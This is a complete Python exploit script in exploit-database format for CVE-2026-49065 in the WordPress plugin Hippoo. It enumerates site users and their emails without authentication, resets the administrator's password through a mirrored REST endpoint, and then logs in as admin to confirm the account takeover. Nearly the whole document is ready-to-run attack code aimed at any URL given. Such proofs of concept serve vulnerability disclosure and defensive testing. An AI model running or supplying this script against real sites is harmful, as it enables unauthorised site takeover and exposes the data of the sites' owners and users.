📄 WordPress Hippoo 1.9.5 Unauthenticated Admin Account Takeover

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Hippoo <= 1.9.5 - Unauthenticated Admin Account Takeover (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/hippoo/
    # Software Link: https://downloads.wordpress.org/plugin/hippoo.1.9.4.zip
    # Version: 1.9.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-49065
    """
    Hippoo <= 1.9.5 mirrors every WP/WooCommerce core REST route under /wc-hippoo/v1/ext/* and
    attaches a permission callback derived from get_user_permissions(), which returns the SAME `null`
    "full-access" sentinel for both administrators and UNAUTHENTICATED visitors (app/permissions.php).
    The override therefore resolves to __return_true for anyone, so an unauthenticated attacker can call
    the mirrored core users endpoint to reset the administrator's password (or enumerate users) and take
    over the site. Requires WooCommerce active (plugin dependency).
    
    Usage:
      python3 CVE-2026-49065_hippoo.py --target http://localhost:8090 --new-pass 'Pwned!12345'
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--admin-id", type=int, default=1)
        ap.add_argument("--admin-login", default="admin")
        ap.add_argument("--new-pass", default="Pwned!12345")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        print(f"[*] Target: {base}")
        # 1) unauth user enumeration (context=edit leaks emails)
        r = s.get(base + "/wc-hippoo/v1/ext/wp/v2/users?context=edit",
                  headers={}, timeout=20) if False else \
            s.get(base + "/wp-json/wc-hippoo/v1/ext/wp/v2/users?context=edit", timeout=20)
        if r.status_code == 200:
            try:
                users = r.json()
                print(f"[+] Unauthenticated user enumeration OK: {[(u['id'], u['username'], u.get('email')) for u in users][:5]}")
            except Exception:
                pass
    
        # 2) unauth password reset of the administrator
        print(f"[*] Resetting password of user id={args.admin_id} to {args.new_pass!r} (unauthenticated)")
        r = s.post(base + f"/wp-json/wc-hippoo/v1/ext/wp/v2/users/{args.admin_id}",
                   json={"password": args.new_pass}, timeout=20)
        print(f"[*] REST reset -> HTTP {r.status_code} :: {r.text[:120]}")
        if r.status_code != 200:
            print("[-] reset failed"); return 1
    
        # 3) prove takeover: log in as admin with the attacker-set password
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php",
               data={"log": args.admin_login, "pwd": args.new_pass, "wp-submit": "Log In",
                     "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        if any("wordpress_logged_in" in c.name for c in a.cookies):
            print("\n[+] ADMIN ACCOUNT TAKEOVER CONFIRMED — logged in as admin with attacker-set password.")
            return 0
        print("\n[-] login with new password failed")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())